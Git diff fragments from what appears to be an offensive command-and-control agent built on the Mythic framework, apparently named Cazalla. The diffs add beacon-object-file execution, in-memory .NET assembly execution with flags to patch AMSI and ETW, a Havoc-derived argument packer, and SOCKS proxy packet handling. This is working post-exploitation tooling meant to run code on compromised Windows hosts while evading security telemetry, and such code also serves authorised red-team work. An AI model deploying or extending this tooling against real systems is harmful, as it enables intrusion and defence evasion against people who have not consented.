if (!paquete->buffer) {
_err("mandarPaquete: paquete->buffer es NULL");
return NULL;
}
_dbg("mandarPaquete() len=%zu", paquete->length);
// Solo añadir tráfico SOCKS si el proxy está activo
@@ -251,10 +260,11 @@ PAnalizador mandarPaquete(PPaquete paquete) {
}
if (!respuesta) {
_err("respuesta NULL");
_err("mandarPaquete: respuesta NULL después de mandarYRecibir");
return NULL;
}
_inf("mandarPaquete: respuesta recibida exitosamente (tamano=%zu)", respuesta->tamano);
_dbg("respuesta OK");
// === Decodificar base64 de la respuesta ===
@@ -2,6 +2,100 @@ from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
# Completion callback for BOF execution
async def coff_completion_callback(completionMsg: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse:
try:
out = ""
response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus="success", Completed=True)
# Get parent task ID
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
if not parent_task_id:
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No parent task ID found")
# Get subtask ID
subtask_id = None
if hasattr(completionMsg, 'SubtaskData') and completionMsg.SubtaskData:
if hasattr(completionMsg.SubtaskData, 'Task') and completionMsg.SubtaskData.Task:
subtask_id = completionMsg.SubtaskData.Task.ID
if not subtask_id:
# Try alternative attribute names
if hasattr(completionMsg, 'Subtask') and completionMsg.Subtask:
if hasattr(completionMsg.Subtask, 'ID'):
subtask_id = completionMsg.Subtask.ID
elif hasattr(completionMsg.Subtask, 'TaskID'):
subtask_id = completionMsg.Subtask.TaskID
if not subtask_id:
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
TaskID=parent_task_id,
Response="[ERROR] No subtask ID found in completion message"
))
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No subtask ID found")
# Search for responses from the subtask
responses = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage(TaskID=subtask_id))
if not responses.Success:
error_detail = getattr(responses, 'Error', 'Unknown error') if hasattr(responses, 'Error') else 'Unknown error'
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
TaskID=parent_task_id,
Response=f"[ERROR] Failed to search responses for subtask {subtask_id}: {error_detail}"
))
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error=error_detail)
# Process responses if they exist
responses_list = None
if hasattr(responses, 'Responses'):
responses_list = responses.Responses
elif hasattr(responses, 'responses'):
responses_list = responses.responses
elif hasattr(responses, 'Response'):
responses_list = [responses.Response] if responses.Response else []
if responses_list:
for output in responses_list:
if hasattr(output, 'Response'):
out += str(output.Response)
elif hasattr(output, 'response'):
out += str(output.response)
elif hasattr(output, 'Message'):
out += str(output.Message)
elif hasattr(output, 'message'):
out += str(output.message)
elif isinstance(output, str):
out += output
elif isinstance(output, bytes):
out += output.decode('utf-8', errors='ignore')
else:
out += str(output)
# If no output was found, indicate successful execution
if not out:
out = "[BOF executed successfully but produced no output]"
# Send the aggregated output back to the parent task
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
TaskID=parent_task_id,
Response=out
))
return response
except Exception as e:
import traceback
error_msg = f"[ERROR] Exception in coff_completion_callback: {str(e)}\n{traceback.format_exc()}"
try:
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
if parent_task_id:
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
TaskID=parent_task_id,
Response=error_msg
))
except:
pass # If we can't send the error, at least return failure
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error=str(e))
class InlineExecuteArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
@@ -40,13 +134,14 @@ class InlineExecuteArguments(TaskArguments):
display_name="Arguments",
type=ParameterType.TypedArray,
default_value=[],
choices=["int16", "int32", "string", "wchar", "base64"],
choices=["int16", "int32", "string", "wchar", "base64", "bytes"],
description="""Arguments to pass to the BOF via the following way:
-s:123 or int16:123
-i:123 or int32:123
-z:hello or string:hello
-Z:hello or wchar:hello
-b:abc== or base64:abc==""",
-b:abc== or base64:abc==
bytes:hexstring (hexadecimal string of bytes)""",
typedarray_parse_function=self.get_arguments,
parameter_group_info=[
ParameterGroupInfo(
@@ -64,9 +159,11 @@ class InlineExecuteArguments(TaskArguments):
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Must supply arguments")
# This is only called when user types command directly
# Subtasks use parse_dictionary instead
if len(self.command_line) > 0:
raise ValueError("Must supply named arguments or use the modal")
# If command_line is empty, do nothing (subtask will use parse_dictionary)
async def parse_dictionary(self, dictionary_arguments):
# Allowed argument keys
@@ -105,6 +202,9 @@ class InlineExecuteArguments(TaskArguments):
bof_arguments.append(["wchar",value])
elif argType == "base64" or argType == "-b" or argType == "b":
bof_arguments.append(["base64",value])
elif argType == "bytes":
# bytes type expects a hexadecimal string
bof_arguments.append(["bytes",value])
else:
return PTRPCTypedArrayParseFunctionMessageResponse(Success=False,
Error=f"Failed to parse argument: {argument}: Unknown value type.")
@@ -149,6 +249,7 @@ class InlineExecuteCommand(CommandBase):
author = "@c0rnbread (adapted for Cazalla)"
attackmapping = []
argument_class = InlineExecuteArguments
completion_functions = {"coff_completion_callback": coff_completion_callback}
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
@@ -163,19 +264,26 @@ class InlineExecuteCommand(CommandBase):
try:
groupName = taskData.args.get_parameter_group_name()
if groupName == "New":
# Check if bof_file is provided (from subtask or "New" group)
if taskData.args.get_arg("bof_file"):
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
AgentFileID=taskData.args.get_arg("bof_file")
))
if file_resp.Success:
if len(file_resp.Files) > 0:
pass
# Set display parameters
if groupName != "New": # Don't override if already set
response.DisplayParams = "-bof_file {} -bof_arguments {}".format(
file_resp.Files[0].Filename,
taskData.args.get_arg("bof_arguments")
)
else:
raise Exception("Failed to find that file")
else:
raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error))
elif groupName == "Default":
elif groupName == "Default" or taskData.args.get_arg("bof_name"):
# We're trying to find an already existing file and use that
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
@@ -198,6 +306,8 @@ class InlineExecuteCommand(CommandBase):
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
else:
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
else:
raise Exception("Either bof_name or bof_file must be provided")
except Exception as e:
raise Exception("Error from Mythic: " + str(e))
@@ -8,6 +8,118 @@ logging.basicConfig(level=logging.INFO)
# Wrapper function for Inline-EA
# BoF Credits: https://github.com/EricEsquivel/Inline-EA
# Completion callback for BOF execution
# This captures output from the subtask and displays it in the main command
async def coff_completion_callback(completionMsg: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse:
try:
out = ""
response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus="success", Completed=True)
# Get parent task ID
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
if not parent_task_id:
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No parent task ID found")
# Get subtask ID
subtask_id = None
if hasattr(completionMsg, 'SubtaskData') and completionMsg.SubtaskData:
if hasattr(completionMsg.SubtaskData, 'Task') and completionMsg.SubtaskData.Task:
subtask_id = completionMsg.SubtaskData.Task.ID
if not subtask_id:
# Try alternative attribute names
if hasattr(completionMsg, 'Subtask') and completionMsg.Subtask:
if hasattr(completionMsg.Subtask, 'ID'):
subtask_id = completionMsg.Subtask.ID
elif hasattr(completionMsg.Subtask, 'TaskID'):
subtask_id = completionMsg.Subtask.TaskID
if not subtask_id:
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
TaskID=parent_task_id,
Response="[ERROR] No subtask ID found in completion message"
))
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No subtask ID found")
# Search for responses from the subtask
# Add a small delay to ensure the response is available
import asyncio
await asyncio.sleep(1.0) # Wait 1 second for response to be processed
responses = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage(TaskID=subtask_id))
logging.info(f"[coff_completion_callback] Searching responses for subtask {subtask_id}, Success={responses.Success}")
logging.info(f"[coff_completion_callback] Response object type: {type(responses)}")
logging.info(f"[coff_completion_callback] Response object attributes: {dir(responses)}")
if not responses.Success:
error_detail = getattr(responses, 'Error', 'Unknown error') if hasattr(responses, 'Error') else 'Unknown error'
logging.warning(f"[coff_completion_callback] Failed to search responses: {error_detail}")
# Don't return error, just log it and continue
# Process responses if they exist
responses_list = None
if responses.Success:
if hasattr(responses, 'Responses'):
responses_list = responses.Responses
logging.info(f"[coff_completion_callback] Found responses.Responses: {len(responses_list) if responses_list else 0} items")
elif hasattr(responses, 'responses'):
responses_list = responses.responses
logging.info(f"[coff_completion_callback] Found responses.responses: {len(responses_list) if responses_list else 0} items")
elif hasattr(responses, 'Response'):
responses_list = [responses.Response] if responses.Response else []
logging.info(f"[coff_completion_callback] Found responses.Response: {len(responses_list) if responses_list else 0} items")
else:
logging.warning(f"[coff_completion_callback] No known response attribute found in response object")
if responses_list:
logging.info(f"[coff_completion_callback] Processing {len(responses_list)} response items")
for idx, output in enumerate(responses_list):
logging.info(f"[coff_completion_callback] Processing response item {idx}, type: {type(output)}")
if hasattr(output, 'Response'):
out += str(output.Response)
elif hasattr(output, 'response'):
out += str(output.response)
elif hasattr(output, 'Message'):
out += str(output.Message)
elif hasattr(output, 'message'):
out += str(output.message)
elif hasattr(output, 'output'):
out += str(output.output)
elif isinstance(output, str):
out += output
elif isinstance(output, bytes):
out += output.decode('utf-8', errors='ignore')
else:
logging.info(f"[coff_completion_callback] Converting output to string, type: {type(output)}")
out += str(output)
# If no output was found, indicate successful execution
if not out:
logging.warning(f"[coff_completion_callback] No output found for subtask {subtask_id}")
out = "[Assembly executed successfully but produced no output]"
# Send the aggregated output back to the parent task
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
TaskID=parent_task_id,
Response=out
))
return response
except Exception as e:
import traceback
error_msg = f"[ERROR] Exception in coff_completion_callback: {str(e)}\n{traceback.format_exc()}"
try:
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
if parent_task_id:
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
TaskID=parent_task_id,
Response=error_msg
))
except:
pass
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error=str(e))
class InlineExecuteAssemblyArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
@@ -130,9 +242,16 @@ class InlineExecuteAssemblyArguments(TaskArguments):
return response
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Must supply arguments")
# This is only called when user types command directly
# Subtasks use parse_dictionary instead
if len(self.command_line) > 0:
raise ValueError("Must supply named arguments or use the modal")
# If command_line is empty, do nothing (subtask will use parse_dictionary)
async def parse_dictionary(self, dictionary_arguments):
# This is called when using the modal UI or when called as a subtask
# Just load the arguments directly
self.load_args_from_dictionary(dictionary_arguments)
class InlineExecuteAssemblyCommand(CommandBase):
cmd = "inline_execute_assembly"
@@ -144,6 +263,7 @@ class InlineExecuteAssemblyCommand(CommandBase):
script_only = True
attackmapping = []
argument_class = InlineExecuteAssemblyArguments
completion_functions = {"coff_completion_callback": coff_completion_callback}
attributes = CommandAttributes(
dependencies=["inline_execute"],
alias=True
@@ -217,6 +337,7 @@ class InlineExecuteAssemblyCommand(CommandBase):
)
# Arguments depend on the BOF
# Note: Using bof_name instead of bof_file to match Xenon's implementation
file_name = "inline-ea.x64.o"
arguments = [
[
@@ -229,31 +350,43 @@ class InlineExecuteAssemblyCommand(CommandBase):
],
[
"wchar",
taskData.args.get_arg("assembly_arguments") # Assembly argument string
taskData.args.get_arg("assembly_arguments") or "" # Assembly argument string
],
[
"int32",
taskData.args.get_arg("patch_exit") # BOOL
1 if taskData.args.get_arg("patch_exit") else 0 # BOOL: convert to 1 or 0
],
[
"int32",
taskData.args.get_arg("amsi") # BOOL
1 if taskData.args.get_arg("amsi") else 0 # BOOL: convert to 1 or 0
],
[
"int32",
taskData.args.get_arg("etw") # BOOL
1 if taskData.args.get_arg("etw") else 0 # BOOL: convert to 1 or 0
]
]
# Run inline_execute subtask
# Find the BOF file first
bof_file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
Filename=file_name,
LimitByCallback=False,
MaxResults=1
))
if not bof_file_resp.Success or len(bof_file_resp.Files) == 0:
raise Exception(f"Failed to find BOF file '{file_name}': {bof_file_resp.Error if bof_file_resp.Success else 'File not found'}")
# Create subtask to execute inline_execute with the BOF
# Use coff_completion_callback to capture output and display it in the main command
subtask = await SendMythicRPCTaskCreateSubtask(
MythicRPCTaskCreateSubtaskMessage(
taskData.Task.ID,
CommandName="inline_execute",
SubtaskCallbackFunction="coff_completion_callback",
Params=json.dumps({
"bof_name": file_name,
"bof_file": bof_file_resp.Files[0].AgentFileId,
"bof_arguments": arguments
}),
Token=taskData.Task.TokenID,
@@ -1,4 +1,6 @@
import json
import base64
from .utils import Packer
commands = {
"get_tasking": {"hex_code": 0x00, "input_type": None},
@@ -215,6 +217,7 @@ def responseTasking(tasks):
elif commands[command_to_run]["input_type"] == "bof_special":
# inline_execute: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
# Similar to Xenon: serialize arguments in translator using Packer
parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
file_id = parameters.get("bof_file", "")
@@ -224,16 +227,49 @@ def responseTasking(tasks):
data += len(file_id_bytes).to_bytes(4, "big")
data += file_id_bytes
# Add BOF arguments (serialized)
# Serialize BOF arguments using Packer (like Xenon)
bof_args = parameters.get("bof_arguments", [])
args_str = json.dumps(bof_args) if bof_args else ""
args_bytes = args_str.encode('utf-8')
data += len(args_bytes).to_bytes(4, "big")
data += args_bytes
if bof_args and len(bof_args) > 0:
packer = Packer()
# Handle TypedList as single length-prefixed argument to Agent (like Xenon)
for item in bof_args:
item_type, item_value = item
if item_type == "int16":
packer.addshort(int(item_value))
elif item_type == "int32":
# Convert to int, handling both bool and int values
if isinstance(item_value, bool):
packer.adduint32(1 if item_value else 0)
else:
packer.adduint32(int(item_value))
elif item_type == "bytes":
# Convert hex string to bytes
packer.addbytes(bytes.fromhex(item_value))
elif item_type == "string":
packer.addstr(item_value)
elif item_type == "wchar":
packer.addWstr(item_value)
elif item_type == "base64":
try:
decoded_value = base64.b64decode(item_value)
packer.addstr(decoded_value)
except Exception:
print(f"[TRANSLATOR] Error: Invalid base64 string: {item_value}")
# Fallback: add as empty string
packer.addstr("")
# Packer.getbuffer() returns length-prefixed buffer: [size:4 bytes LE][data]
packed_params = packer.getbuffer()
# Send as length-prefixed string (big-endian for length prefix, like other strings)
data += len(packed_params).to_bytes(4, "big")
data += packed_params
else:
# No arguments - send empty buffer
data += (0).to_bytes(4, "big")
task_size = len(data)
dataTask += task_size.to_bytes(4, "big") + data
print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_len={len(args_bytes)}")
print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_packed={len(bof_args) if bof_args else 0} items")
elif commands[command_to_run]["input_type"] == "assembly_special":
# inline_execute_assembly or execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
+67
View File
@@ -1,5 +1,6 @@
import base64
import os
from struct import pack, calcsize
def getBytesWithSize(data):
"""
@@ -29,3 +30,69 @@ def getBytesWithSize(data):
return data[:size], b""
return data[:size], data[size:]
class Packer:
"""
Packed data into length-prefixed binary format.
Reference: From Havoc framework https://github.com/HavocFramework/Modules/blob/main/Packer/packer.py
Adapted from Xenon's implementation
"""
def __init__(self):
self.buffer : bytes = b''
self.size : int = 0
def getbuffer(self):
"""Returns length-prefixed buffer: [size:4 bytes little-endian][data]"""
return pack("<L", self.size) + self.buffer
def addstr(self, s):
"""Add a null-terminated string"""
if s is None:
s = ''
if isinstance(s, str):
s = s.encode("utf-8")
fmt = "<L{}s".format(len(s) + 1)
self.buffer += pack(fmt, len(s)+1, s)
self.size += calcsize(fmt)
def addWstr(self, s):
"""Add a null-terminated wide string (UTF-16 LE)"""
if s is None:
s = ''
s = s.encode("utf-16_le")
fmt = "<L{}s".format(len(s) + 2)
self.buffer += pack(fmt, len(s)+2, s)
self.size += calcsize(fmt)
def addbytes(self, b):
"""Add raw bytes"""
if b is None:
b = b''
fmt = "<L{}s".format(len(b))
self.buffer += pack(fmt, len(b), b)
self.size += calcsize(fmt)
def addbool(self, b):
"""Add a boolean as int32"""
fmt = '<I'
self.buffer += pack(fmt, 1 if b else 0)
self.size += 4
def adduint32(self, n):
"""Add an unsigned int32"""
fmt = '<I'
self.buffer += pack(fmt, n)
self.size += 4
def addint(self, dint):
"""Add a signed int32"""
self.buffer += pack("<i", dint)
self.size += 4
def addshort(self, n):
"""Add a signed int16"""
fmt = '<h'
self.buffer += pack(fmt, n)
self.size += 2